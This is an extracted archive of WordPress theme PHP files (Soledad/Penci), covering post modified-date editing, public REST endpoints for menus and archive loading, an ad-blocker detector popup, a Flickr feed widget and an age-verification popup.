                               maxlength="2" placeholder="<?php esc_attr_e( 'Hour', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label>:<label>
                        <span class="screen-reader-text"><?php esc_html_e( 'Minute', 'soledad' ); ?></span>
                        <input type="text" id="mnm" class="time-modified tm-mnm" name="mnm" value="" size="2"
                               maxlength="2" placeholder="<?php esc_attr_e( 'Min', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label>&nbsp;&nbsp;<label for="pcmdate_disable">
                        <span class="select-title"><?php esc_html_e( 'Update Status', 'soledad' ); ?></span>
                        <select id="pcmdate-disable-update" class="disable-update" name="disable_update">
                            <option value="none">— <?php esc_html_e( 'No Change', 'soledad' ); ?>—
                            </option>
                            <option value="yes"><?php esc_html_e( 'Lock the Modified Date', 'soledad' ); ?></option>
                            <option value="no"><?php esc_html_e( 'Un-Lock the Modified Date', 'soledad' ); ?></option>
                        </select>
                    </label>
                </div>
            </fieldset>
        </div>
		<?php
	}

	public function save_post( $post_id ) {
		// get WordPress date time format
		$get_df = get_option( 'date_format' );
		$get_tf = get_option( 'time_format' );
		// get post meta data
		$m_orig   = get_post_field( 'post_modified', $post_id, 'raw' );
		$m_stamp  = strtotime( $m_orig );
		$modified = date_i18n( $this->do_filter( 'custom_field_date_time_format', $get_df . ' @ ' . $get_tf ), $m_stamp );


		// update post meta
		update_post_meta( $post_id, 'wp_last_modified_info', $modified );
	}

	protected function do_filter( ...$args ) {
		if ( ! isset( $args[0] ) || empty( $args[0] ) ) {
			return;
		}

		$action = 'pcmdate/' . $args[0];
		unset( $args[0] );

		return apply_filters_ref_array( $action, array_merge( [], $args ) );
	}

	/**
	 * Process bulk post meta data update
	 */
	public function bulk_save() {
		// security check
		wp_verify_nonce( 'pcmdate_edit_nonce' );

		// we need the post IDs
		$post_ids = ( ! empty( $_POST['post_ids'] ) ) ? wp_parse_id_list( $_POST['post_ids'] ) : [];

		// if we have post IDs
		if ( ! empty( $post_ids ) && is_array( $post_ids ) ) {
			$mmm     = sanitize_text_field( $_POST['modified_month'] );
			$jj      = sanitize_text_field( $_POST['modified_day'] );
			$aa      = sanitize_text_field( $_POST['modified_year'] );
			$hh      = sanitize_text_field( $_POST['modified_hour'] );
			$mn      = sanitize_text_field( $_POST['modified_minute'] );
			$disable = sanitize_text_field( $_POST['modified_disable'] );

			$mm = ( is_numeric( $mmm ) && $mmm <= 12 ) ? $mmm : '01'; // months
			$jj = ( is_numeric( $jj ) && $jj <= 31 ) ? $jj : '01'; // days
			$aa = ( is_numeric( $aa ) && $aa >= 0 ) ? $aa : '1970'; // years
			$hh = ( is_numeric( $hh ) && $hh <= 24 ) ? $hh : '12'; // hours
			$mn = ( is_numeric( $mn ) && $mn <= 60 ) ? $mn : '00'; // minutes
			$ss = '00'; // seconds

			$newdate = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );

			foreach ( $post_ids as $post_id ) {
				if ( ! in_array( get_post_status( $post_id ), [ 'auto-draft', 'future' ] ) ) {
					if ( 'none' !== $mmm ) {
						update_post_meta( $post_id, '_pcmdate_last_modified', $newdate );
						update_post_meta( $post_id, 'pcmdate_bulk_update_datetime', $newdate );
					}

					if ( 'none' !== $disable ) {
						update_post_meta( $post_id, '_lmt_disableupdate', $disable );
					}
				}
			}
		}

		wp_send_json_success();
	}

	/**
	 * Save post modified info to db.
	 *
	 * @param object $data Old Data
	 * @param object $postarr Current Data
	 *
	 * @return object  $data
	 */
	public function update_data( $data, $postarr ) {
		if ( ! isset( $postarr['ID'] ) || in_array( $postarr['post_status'], [ 'auto-draft', 'future' ] ) ) {
			return $data;
		}

		if ( $this->do_filter( 'force_update_author_id', false ) ) {
			update_post_meta( $postarr['ID'], '_edit_last', get_current_user_id() );
		}

		// Check bulk edit state
		$bulk_datetime = get_post_meta( $postarr['ID'], 'pcmdate_bulk_update_datetime', true );
		if ( ! empty( $bulk_datetime ) ) {
			$data['post_modified']     = $bulk_datetime;
			$data['post_modified_gmt'] = get_gmt_from_date( $bulk_datetime );

			delete_post_meta( $postarr['ID'], 'pcmdate_bulk_update_datetime' );

			return $data;
		}

		// Get disable state.
		$disabled = get_post_meta( $postarr['ID'], '_lmt_disableupdate', true );

		/**
		 * Handle post editor save
		 */
		if ( ! isset( $postarr['pcmdate_modified'], $postarr['pcmdate_change'], $postarr['pcmdate_disable'] ) ) {
			/**
			 * Handle Block editor save
			 */
			if ( ! empty( $postarr['pcmdate_lockmodifiedupdate'] ) ) {
				$disabled = $postarr['pcmdate_lockmodifiedupdate'];
			}

			if ( 'yes' === $disabled ) {
				$data['post_modified']     = $postarr['post_modified'];
				$data['post_modified_gmt'] = $postarr['post_modified_gmt'];
			} else {
				$data['post_modified']     = current_time( 'mysql' );
				$data['post_modified_gmt'] = current_time( 'mysql', 1 );
			}

			// Check the duplicate request.
			$temp_date = get_post_meta( $postarr['ID'], 'pcmdate_temp_date', true );
			if ( ! empty( $postarr['pcmdate_modified_rest'] ) ) {
				$published_timestamp = get_post_time( 'U', false, $postarr['ID'] );
				$modified_timestamp  = strtotime( $postarr['pcmdate_modified_rest'] );
				$modified_date       = date( 'Y-m-d H:i:s', $modified_timestamp );

				if ( $modified_timestamp >= $published_timestamp ) {
					$data['post_modified']     = $modified_date;
					$data['post_modified_gmt'] = get_gmt_from_date( $modified_date );

					update_post_meta( $postarr['ID'], 'pcmdate_temp_date', $modified_date );
				}
			} elseif ( ! empty( $temp_date ) ) {
				$data['post_modified']     = $temp_date;
				$data['post_modified_gmt'] = get_gmt_from_date( $temp_date );

				delete_post_meta( $postarr['ID'], 'pcmdate_temp_date' );
			}
		} else {
			/**
			 * Handle Classic editor save
			 */
			$modified = ! empty( $postarr['pcmdate_modified'] ) ? sanitize_text_field( $postarr['pcmdate_modified'] ) : $postarr['post_modified'];
			$change   = ! empty( $postarr['pcmdate_change'] ) ? sanitize_text_field( $postarr['pcmdate_change'] ) : 'no';
			$disabled = ! empty( $postarr['pcmdate_disable'] ) ? sanitize_text_field( $postarr['pcmdate_disable'] ) : $disabled;

			// Update meta
			update_post_meta( $postarr['ID'], '_lmt_disableupdate', $disabled );

			// Check if disable is set to 'yes'
			if ( 'yes' === $disabled ) {
				$data['post_modified']     = $modified;
				$data['post_modified_gmt'] = get_gmt_from_date( $modified );
			} else {
				$data['post_modified']     = current_time( 'mysql' );
				$data['post_modified_gmt'] = current_time( 'mysql', 1 );
			}

			// check is current state is changed
			if ( 'yes' === $change ) {
				$mm = sanitize_text_field( $postarr['mmm'] );
				$jj = sanitize_text_field( $postarr['jjm'] );
				$aa = sanitize_text_field( $postarr['aam'] );
				$hh = sanitize_text_field( $postarr['hhm'] );
				$mn = sanitize_text_field( $postarr['mnm'] );
				$ss = sanitize_text_field( $postarr['ssm'] );

				$mm = ( is_numeric( $mm ) && $mm <= 12 ) ? $mm : '01'; // months
				$jj = ( is_numeric( $jj ) && $jj <= 31 ) ? $jj : '01'; // days
				$aa = ( is_numeric( $aa ) && $aa >= 0 ) ? $aa : '1970'; // years
				$hh = ( is_numeric( $hh ) && $hh <= 24 ) ? $hh : '12'; // hours
				$mn = ( is_numeric( $mn ) && $mn <= 60 ) ? $mn : '00'; // minutes
				$ss = ( is_numeric( $ss ) && $ss <= 60 ) ? $ss : '00'; // seconds

				$newdate             = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );
				$published_timestamp = get_post_time( 'U', false, $postarr['ID'] );

				if ( strtotime( $newdate ) >= $published_timestamp ) {
					$data['post_modified']     = $newdate;
					$data['post_modified_gmt'] = get_gmt_from_date( $newdate );
				}
			}
		}

		// Update post meta for future reference
		update_post_meta( $postarr['ID'], '_pcmdate_last_modified', $data['post_modified'] );

		return $data;
	}

	public function messages( $messages ) {
		global $post;

		if ( ! $post instanceof WP_Post ) {
			if ( empty( $_REQUEST['post'] ) ) {
				return $messages;
			}
			$post_id = absint( $_REQUEST['post'] );
			$post    = get_post( $post_id );
		}

		// get WordPress date time format
		$get_df = get_option( 'date_format' );
		$get_tf = get_option( 'time_format' );

		$m_orig        = get_post_field( 'post_modified', $post->ID, 'raw' );
		$post_modified = '&nbsp;<strong>' . date_i18n( $this->do_filter( 'post_updated_datetime_format', $get_df . ' @ ' . $get_tf, $post->ID ), strtotime( $m_orig ) ) . '</strong>.&nbsp;';

		// get post types returns object
		$post_types = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post->post_type ) ) {
			$post_modified .= sprintf( __( '<a href="%1$s" target="_blank">%2$s %3$s</a>' ), esc_url( get_permalink( $post->ID ) ), __( 'View', 'soledad' ), $post_types->name );
		}

		if ( isset( $messages[ $post->post_type ] ) ) {
			$messages[ $post->post_type ][1] = esc_html( $post_types->labels->singular_name ) . '&nbsp;' . sprintf( __( '%1$s%2$s' ), __( 'updated on', 'soledad' ), $post_modified );
		}

		return $messages;
	}
}

new PenciModDate();PK     0w\2e  e    rest_api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_REST_API' ) ) {
	class Penci_REST_API {
		public function __construct() {
			add_action( 'rest_api_init', [ $this, 'register_routes' ] );
		}


		public function register_routes() {
			register_rest_route( 'penci/v1', '/penci_html_mega_menu', [
				'methods'             => 'POST',
				'callback'            => [ $this, 'penci_html_mega_menu' ],
				'permission_callback' => '__return_true',
			] );
			register_rest_route( 'penci/v1', '/penci_archive_more_post', [
				'methods'             => 'POST',
				'callback'            => [ $this, 'penci_archive_more_post' ],
				'permission_callback' => '__return_true',
			] );
			register_rest_route( 'penci/v1', '/penci_ajax_search', [
				'methods'             => 'GET',
				'callback'            => [ $this, 'penci_ajax_search' ],
				'permission_callback' => '__return_true',
			] );
		}

		public function penci_ajax_search( WP_REST_Request $request ) {
			return penci_ajax_search_results( $request->get_params() );
		}

		public function penci_html_mega_menu( WP_REST_Request $request ) {

			$menu     = $request->get_param( 'menu' );
			$item     = $request->get_param( 'item' );
			$catid    = $request->get_param( 'catid' );
			$number   = $request->get_param( 'number' );
			$style    = $request->get_param( 'style' );
			$position = $request->get_param( 'position' );

			$menu         = wp_get_nav_menu_items( $menu );
			$current_item = isset( $menu[ $item ] ) && is_object( $menu[ $item ] ) ? $menu[ $item ] : '';

			$menu_html = penci_return_html_mega_menu( $catid, $number, $style, $position, $menu, $current_item );

			return new WP_REST_Response( [ 'data' => $menu_html ], 200 );
		}

		public function penci_archive_more_post( WP_REST_Request $request ) {

            $requests = $request->get_params();

			$ppp          = ( isset( $requests['ppp'] ) ) ? (int) $requests['ppp'] : 4;
			$order_get    = ( isset( $requests['order'] ) ) ? sanitize_text_field( $requests['order'] ) : '';
			$offset       = ( isset( $requests['offset'] ) ) ? (int) $requests['offset'] : 0;
			$layout       = ( isset( $requests['layout'] ) ) ? sanitize_file_name( $requests['layout'] ) : 'grid';
			$archivetype  = isset( $requests['archivetype'] ) ? $requests['archivetype'] : '';
			$archivevalue = isset( $requests['archivevalue'] ) ? $requests['archivevalue'] : '';
			$from         = ( isset( $requests['from'] ) ) ? $requests['from'] : 'customize';
			$template     = ( isset( $requests['template'] ) ) ? $requests['template'] : 'sidebar';

			$orderby = get_theme_mod( 'penci_general_post_orderby' );

			if ( ! $orderby ):
				$orderby = 'date';
			endif;

			$order = get_theme_mod( 'penci_general_post_order' );
			if ( ! $order ):
				$order = 'DESC';
			endif;

			$order = $order_get ? $order_get : $order;

			$args = array(
				'post_type'      => 'post',
				'posts_per_page' => $ppp,
				'post_status'    => 'publish',
				'offset'         => $offset,
				'orderby'        => $orderby,
				'order'          => $order,
			);

			if ( $order == 'view' ) {
				$args['meta_key'] = penci_get_postviews_key();
				$args['order']    = 'DESC';
				$args['orderby']  = 'meta_value_num';
			}

			if ( $order == 'comment' ) {
				$args['order']   = 'DESC';
				$args['orderby'] = 'comment_count';
			}

			if ( 'cat' == $archivetype ) {
				$args['cat'] = $archivevalue;
			} elseif ( 'tag' == $archivetype ) {
				$args['tag_id'] = $archivevalue;
			} elseif ( 'day' == $archivetype ) {
				$date_arr           = explode( '|', $archivevalue );
				$args['date_query'] = array(
					array(
						'year'  => isset( $date_arr[2] ) ? $date_arr[2] : '',
						'month' => isset( $date_arr[0] ) ? $date_arr[0] : '',
						'day'   => isset( $date_arr[1] ) ? $date_arr[1] : '',
					),
				);
			} elseif ( 'month' == $archivetype ) {
				$date_arr           = explode( '|', $archivevalue );
				$args['date_query'] = array(
					array(
						'year'  => isset( $date_arr[2] ) ? $date_arr[2] : '',
						'month' => isset( $date_arr[0] ) ? $date_arr[0] : '',
					),
				);
			} elseif ( 'year' == $archivetype ) {
				$date_arr           = explode( '|', $archivevalue );
				$args['date_query'] = array(
					array(
						'year' => isset( $date_arr[2] ) ? $date_arr[2] : '',
					),
				);
			} elseif ( 'search' == $archivetype ) {
				$args['s'] = $archivevalue;

				$post_types    = get_post_types(
					array(
						'public'            => true,
						'show_in_nav_menus' => true,
					),
					'names'
				);
				$array_include = array();
				foreach ( $post_types as $key => $val ) {
					$array_include[] = $key;
				}
				$exclude = array(
					'web-story',
					'e-landing-page',
					'penci-block',
					'penci_builder',
					'archive-template',
					'custom-post-template',
				);

				if ( ! get_theme_mod( 'penci_include_search_page' ) ) {
					$exclude[] = 'page';
				}

				$array_include = array_diff( $array_include, $exclude );

				$args['post_type'] = $array_include;


			} elseif ( 'author' == $archivetype ) {
				$args['author'] = $archivevalue;

				if ( isset( $args['post_type'] ) ) {
					unset( $args['post_type'] );
				}
			} elseif ( $archivetype && $archivevalue ) {
				$args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field'    => 'term_id',
						'terms'    => array( $archivevalue ),
					),
				);
			}

			$loop = new WP_Query( $args );

            $html_archive = '';

            ob_start();

			if ( $loop->have_posts() ):
				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
				while ( $loop->have_posts() ):
					$loop->the_post();
					include locate_template( 'content-' . $layout . '.php' );
				endwhile;
			endif;

			wp_reset_postdata();

            $html_archive = ob_get_clean();

            if ( $html_archive ) {
                return new WP_REST_Response( $html_archive, 200 );
            }
		}
	}
}

new Penci_REST_API();PK     0w\Jox  x    ad_blocker.phpnu [        <?php

class Penci_AdBlocker_Detector {
	public function __construct() {
		$block           = false;
		$disable_adblock = get_theme_mod( 'penci_adblocker_user_group', array() );
		if ( ! empty( $disable_adblock ) && is_array( $disable_adblock ) && is_user_logged_in() ) {

			$user_data  = wp_get_current_user();
			$user_roles = (array) $user_data->roles;

			foreach ( $disable_adblock as $user_group ) {
				foreach ( $user_roles as $role ) {
					$block = $role == $user_group;
				}
			}
		}

		if ( ! get_theme_mod( 'penci_adblocker_popup' ) || $block ) {
			return;
		}

		add_action( 'wp_footer', array( $this, 'ad_blocker' ), 500 );
		add_action( 'soledad_theme/custom_css', array( $this, 'custom_style' ) );
	}


	public function ad_blocker() {

		echo '<ins class="adsbygoogle Ad-Container sidebar-ad"><div style="z-index:-1; height:0; width:1px; visibility: hidden; bottom: -1px; left: 0;"></div></ins>';

		if ( get_theme_mod( 'penci_adblocker_popup_dismissable' ) && get_theme_mod( 'penci_adblocker_popup_onetime' ) && isset( $_COOKIE['AdBlockerDismissed'] ) ) {
			return;
		}

		?>
		<div id="penci-adblocker-popup-adblock"
			class="mfp-hide mfp-with-anim penci-popup penci-adblocker-popup">

			<div class="penci-adblocker-popup-container">
				<div class="container-wrapper">

					<span class="penci-adblocker-adblock-icon fa fa-exclamation-triangle" aria-hidden="true"></span>

					<h2 class="penci-adblocker-head"><?php echo penci_get_setting( 'penci_adblocker_popup_title' ); ?></h2>

					<div class="penci-adblock-message">
						<?php echo penci_get_setting( 'penci_adblocker_popup_message' ); ?>
					</div>

					<div class="penci-adblock-btn-group">

						<?php if ( get_theme_mod( 'penci_adblocker_popup_dismissable' ) ) : ?>
							<button type="button"
									class="mfp-close"><?php echo penci_get_setting( 'penci_adblocker_dissmiss' ); ?></button>
						<?php endif; ?>

					</div>

				</div>
			</div>
		</div>
		<?php
		$script_content = file_get_contents( PENCI_SOLEDAD_DIR . '/js/detector.min.js' );
		$script_options = array(
			'ad_blocker_detector'               => (bool) get_theme_mod( 'penci_adblocker_popup' ),
			'ad_blocker_detector_delay'         => get_theme_mod( 'penci_adblocker_popup_time' ),
			'ad_blocker_detector_dismissable'   => (bool) get_theme_mod( 'penci_adblocker_popup_dismissable' ),
			'ad_blocker_detector_onetime'       => (bool) get_theme_mod( 'penci_adblocker_popup_onetime' ),
			'ad_blocker_detector_block_img'     => (bool) get_theme_mod( 'penci_adblocker_disallow_images' ),
			'ad_blocker_detector_block_img_url' => get_theme_mod( 'penci_adblocker_placeholder_images' ),
			'ad_blocker_detector_post'          => (bool) get_theme_mod( 'penci_adblocker_disallow_images_posts' ),
		);

		if ( $script_content ) {
			echo '<script type="text/javascript">';
			echo 'var penci_options_set = '.json_encode($script_options).';';
			echo $script_content;
			echo '</script>';
		}
	}

	public function custom_style() {
		$out       = '';
		$selectors = array(
			'penci_adblocker_popup_bgcolor'      => '.penci-adblocker-popup-container{background-color:{{VALUE}}}',
			'penci_adblocker_popup_icolor'       => '.penci-adblocker-popup-container .penci-adblocker-adblock-icon{color:{{VALUE}}}',
			'penci_adblocker_popup_headingcolor' => '.penci-adblocker-popup-container .penci-adblocker-head{color:{{VALUE}}}',
			'penci_adblocker_popup_textcolor'    => '.penci-adblocker-popup-container .penci-adblock-message{color:{{VALUE}}}',
			'penci_adblocker_popup_btncolor'     => '.penci-adblocker-popup-container button.mfp-close{color:{{VALUE}}}',
			'penci_adblocker_popup_btnhcolor'    => '.penci-adblocker-popup-container button.mfp-close:hover{color:{{VALUE}}}',
		);
		foreach ( $selectors as $mod => $selector ) {
			$value = get_theme_mod( $mod );
			if ( $value ) {
				$out .= str_replace( '{{VALUE}}', $value, $selector );
			}
		}
		echo $out;
	}
}

new Penci_AdBlocker_Detector();
PK     0w\+r'  r'    flickr_feed.phpnu [        <?php

class Penci_Flickr_Feed {
	public static function display_images( $args = null ) {
		$defaults = array(
			'username'         => '',
			'template'         => 'thumbs-no-border',
			'images_link'      => 'image_url',
			'orderby'          => 'rand',
			'images_number'    => 5,
			'columns'          => 4,
			'refresh_hour'     => 5,
			'image_size'       => 'jr_insta_square',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => 0,
			'controls'         => 'prev_next',
			'caption_words'    => 20,
			'slidespeed'       => 7000,
			'description'      => array( 'username', 'time', 'caption' ),
		);

		$args = wp_parse_args( (array) $args, $defaults );

		if ( '' == $args['username'] ) {
			if ( current_user_can( 'manage_options' ) ) {
				echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Please fill the Flickr Username.';
			}

			return;
		}

		$images_data = self::get_flickr_data( $args );

		if ( ! is_array( $images_data ) || ! $images_data ) {
			if ( current_user_can( 'manage_options' ) ) {
				echo '<p style="text-align: center;">This message appears for Admin Users only:<br>No any image found. Please check it again or try with another Flickr account.</p>';
			}

			return;
		}

		$output = '';

		$i = 0;

		if ( $args['orderby'] != 'rand' ) {

			$orderby = explode( '-', $args['orderby'] );
			$func    = $orderby[0] == 'date' ? 'sort_timestamp_' . $orderby[1] : 'sort_popularity_' . $orderby[1];

			usort( $images_data, array( __CLASS__, $func ) );

		} else {

			shuffle( $images_data );
		}

		foreach ( $images_data as $key => $image_data ) {

			if ( $i >= $args['images_number'] ) {
				continue;
			}


			$image_url = $link_to = '';
			if ( 'image_url' == $args['images_link'] ) {
				$link_to = $image_data['link'];
			} elseif ( 'user_url' == $args['images_link'] ) {
				$link_to = 'https://www.flickr.com/photos/' . $args['username'] . '/';
			}

			if ( $args['image_size'] == 'jr_insta_square' ) {
				$image_url = $image_data['url_thumbnail'];
			} elseif ( $args['image_size'] == 'full' ) {
				$image_url = $image_data['url'];
			} else {
				$image_url = isset( $image_data['url_small'] ) ? $image_data['url_small'] : $image_data['url'];
			}

			$short_caption = wp_trim_words( $image_data['caption'], 10, '...' );
			$caption       = wp_trim_words( $image_data['caption'], intval( $args['caption_words'] ), $more = null );
			$nopin         = ( 1 == $args['no_pin'] ) ? 'nopin="nopin"' : '';

			$image_src = '<span '.penci_layout_bg( $image_url ).' class="penci-image-holder instagram-square-lazy ' . penci_layout_bg_class() . '">' . penci_layout_img( $image_url ) . '</span>';

			$image_output = $image_src;
			if ( $link_to ) {
				$image_output = '<a href="' . $link_to . '" rel="noopener" target="_blank"';

				if ( ! empty( $args['image_link_rel'] ) ) {
					$image_output .= ' rel="' . $args['image_link_rel'] . '"';
				}

				if ( ! empty( $args['image_link_class'] ) ) {
					$image_output .= ' class="' . $args['image_link_class'] . '"';
				}
				$image_output .= ' title="' . $short_caption . '">' . $image_src . '</a>';
			}

			if ( 'slider' == $args['template'] ) {
				$output .= '<div class="penci-insta-info swiper-slide">';
				$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

				if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

					$output .= '<div class="penci-insta-datacontainer">';

					if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
						$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
						$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
					}

					$username = $args['username'];
					if ( in_array( 'username', $args['description'] ) && $username ) {
						$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.flickr.com/photos/{$username}/' target='_blank'>{$username}</a></span>\n";
					}

					if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
						$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
						$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.flickr.com/photos/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
						$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.flickr.com/explore/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
						$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
					}

					$output .= "</div>\n";
				}

				$output .= "</div>";
			} elseif ( 'slider-overlay' == $args['template'] ) {
				$output .= '<div class="penci-insta-info swiper-slide">';
				$output .= '<img class="instagram-square-lazy" src="' . $image_url . '" alt="' . $short_caption . '" ' . $nopin . '/>';;

				if ( is_array( $args['description'] ) && count( $args['description'] ) >= 1 ) {

					$output .= '<div class="penci-insta-wrap"><div class="penci-insta-datacontainer">';

					if ( $image_data['timestamp'] && in_array( 'time', $args['description'] ) ) {
						$time   = human_time_diff( strtotime( $image_data['timestamp'] ), current_time( 'timestamp', true ) );
						$output .= "<span class='penci-insta-time'>{$time} ago</span>\n";
					}

					$username = $args['username'];
					if ( in_array( 'username', $args['description'] ) && $username ) {
						$output .= "<span class='penci-insta-username'>by <a rel='nofollow' href='https://www.instagram.com/{$username}/' target='_blank'>{$username}</a></span>\n";
					}

					if ( $caption != '' && in_array( 'caption', $args['description'] ) ) {
						$caption_words = isset( $args['caption_words'] ) ? $args['caption_words'] : 20;
						$caption       = preg_replace( '/@([a-z0-9_]+)/i', '&nbsp;<a href="https://www.instagram.com/$1/" rel="noopener" target="_blank">@$1</a>&nbsp;', $caption );
						$caption       = preg_replace( '/\#([a-zA-Z0-9_-]+)/i', '&nbsp;<a href="https://www.instagram.com/photos/tags/$1/" rel="noopener" target="_blank">$0</a>&nbsp;', $caption );
						$output        .= "<span class='penci-insta-caption'>" . wp_trim_words( $caption, $caption_words, '...' ) . "</span>\n";
					}

					$output .= "</div></div>";
				}

				$output .= "</div>";
			} else {
				$output .= "<li>";
				$output .= $image_output;
				$output .= "</li>";
			}

			$i ++;
		}


		$data_slider = ' data-auto="false"';
		$data_slider .= ' data-autotime="' . ( $args['slidespeed'] ? $args['slidespeed'] : '5000' ) . '"';
		$data_slider .= ' data-dots="' . ( 'numberless' == $args['controls'] ? 'true' : '' ) . '"';
		$data_slider .= ' data-nav="' . ( 'prev_next' == $args['controls'] ? '' : 'true' ) . '"';

		if ( $output ) {
			if ( 'slider' == $args['template'] ) {
				echo '<div class="penci-instaslider-normal swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
			} elseif ( 'slider-overlay' == $args['template'] ) {
				echo '<div class="penci-instaslider-overlay swiper penci-owl-carousel penci-owl-carousel-slider"' . $data_slider . '><div class="swiper-wrapper">' . $output . '</div></div>';
			} elseif ( 'thumbs-no-border' == $args['template'] ) {
				echo '<div class="penci-insta-thumb"><ul class="thumbnails no-border penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
			} else {
				echo '<div class="penci-insta-thumb"><ul class="thumbnails penci-inscol' . $args['columns'] . '">' . $output . '</ul></div>';
			}
		}
	}

	public static function get_flickr_data( $args ) {

		$id    = $args['username'];
		$count = $args['images_number'];

		if ( empty( $id ) ) {
			return false;
		}

		$transient_key = md5( 'penci_flickr_cache_' . $id . $count );
		$cached        = get_transient( $transient_key );
		if ( ! empty( $cached ) ) {
			return $cached;
		}

		$protocol = is_ssl() ? 'https' : 'http';
		$output   = array();
		$rss      = $protocol . '://api.flickr.com/services/feeds/photos_public.gne?id=' . $id . '&lang=en-us&format=rss_200';
		$rss      = fetch_feed( $rss );

		if ( is_wp_error( $rss ) ) {
			//check for group feed
			$rss = $protocol . '://api.flickr.com/services/feeds/groups_pool.gne?id=' . $id . '&lang=en-us&format=rss_200';
			$rss = fetch_feed( $rss );
		}

		if ( ! is_wp_error( $rss ) ) {
			$maxitems  = $rss->get_item_quantity( $count );
			$rss_items = $rss->get_items( 0, $maxitems );
			$ncount    = 0;
			foreach ( $rss_items as $item ) {
				$temp               = array();
				$temp['link']       = esc_url( $item->get_permalink() );
				$temp['caption']    = esc_html( $item->get_title() );
				$temp['timestamp']  = esc_html( $item->get_date() );
				$temp['popularity'] = $ncount ++;
				$content            = $item->get_content();
				preg_match_all( "/<IMG.+?SRC=[\"']([^\"']+)/si", $content, $sub, PREG_SET_ORDER );
				$photo_url   = str_replace( "_m.jpg", "_b.jpg", $sub[0][1] );
				$photo_thumb   = str_replace( "_m.jpg", "_t.jpg", $sub[0][1] );
				$temp['url'] = esc_url( $photo_url );
				$temp['url_small'] = esc_url( $sub[0][1] );
				$temp['url_thumbnail'] = esc_url( $photo_thumb );
				$output[]    = $temp;
			}

			set_transient( $transient_key, $output, 60 * 60 * 24 );
		}

		return $output;
	}

	/**
	 * Sort Function for timestamp Ascending
	 */
	public static function sort_timestamp_ASC( $a, $b ) {
		return $a['timestamp'] <=> $b['timestamp'];
	}

	/**
	 * Sort Function for timestamp Descending
	 */
	public static function sort_timestamp_DESC( $a, $b ) {
		return $b['timestamp'] <=> $a['timestamp'];
	}

	/**
	 * Sort Function for popularity Ascending
	 */
	public static function sort_popularity_ASC( $a, $b ) {
		return $a['popularity'] <=> $b['popularity'];
	}

	/**
	 * Sort Function for popularity Descending
	 */
	public static function sort_popularity_DESC( $a, $b ) {
		return $b['popularity'] <=> $a['popularity'];
	}
}PK     0w\ֽ(  (    age-verify.phpnu [        <?php

class PenciAgeVerify {
	function __construct() {

		if ( ! get_theme_mod( 'penci_agepopup_enable' ) || current_user_can( 'manage_options' ) ) {
			return;
		}

		add_action( 'wp_footer', [ $this, 'content' ] );
		add_action( 'wp_enqueue_scripts', [ $this, 'scripts' ] );
		add_action( 'soledad_theme/custom_css', [ $this, 'popop_style' ] );
		add_filter( 'body_class', [ $this, 'body_class' ] );
	}

	public function scripts() {
		wp_enqueue_script( 'penci-age-verify', PENCI_SOLEDAD_URL . '/js/age-verify.js', [ 'js-cookies' ], PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-age-verify', 'penci_age_settings', [
			'age_verify'         => (bool) get_theme_mod( 'penci_agepopup_enable' ),
			'age_verify_expires' => 30,
		] );
	}

	public function body_class( $class ) {
		$class[] = 'pc-age-verify';

		return $class;
	}

	public function content() {
		$verify_content = get_theme_mod( 'penci_agepopup_message' );
		$error_content  = get_theme_mod( 'penci_agepopup_error_message' );
		$animation      = get_theme_mod( 'penci_agepopup_animation', 'move-to-top' );
		?>

        <div class="mfp-with-anim <?php echo esc_attr( $animation ); ?> penci-popup penci-age-verify">
            <div class="penci-age-verify-text">
				<?php echo do_shortcode( $verify_content ); ?>
            </div>

            <div class="penci-age-verify-text-error">
				<?php echo do_shortcode( $error_content ); ?>
            </div>

            <div class="penci-age-verify-buttons">
                <a href="#" aria-label="Agree" rel="nofollow noopener" class="button penci-age-verify-allowed">
					<?php echo penci_get_setting( 'penci_agepopup_agree_text' ); ?>
                </a>

                <a href="#" aria-label="Cancel" rel="nofollow noopener" class="button penci-age-verify-forbidden">
					<?php echo penci_get_setting( 'penci_agepopup_cancel_text' ); ?>
                </a>
            </div>
        </div>

		<?php
	}

	public function popop_style() {
		$popup_bgimg       = get_theme_mod( 'penci_agepopup_bgimg' );
		$popup_bgcl        = get_theme_mod( 'penci_agepopup_bgcolor' );
		$popup_bgrepeat    = get_theme_mod( 'penci_agepopup_bgrepeat' );
		$popup_bgposition  = get_theme_mod( 'penci_agepopup_bgposition' );
		$popup_bgsize      = get_theme_mod( 'penci_agepopup_bgsize' );
		$popup_bgscroll    = get_theme_mod( 'penci_agepopup_bgscroll' );
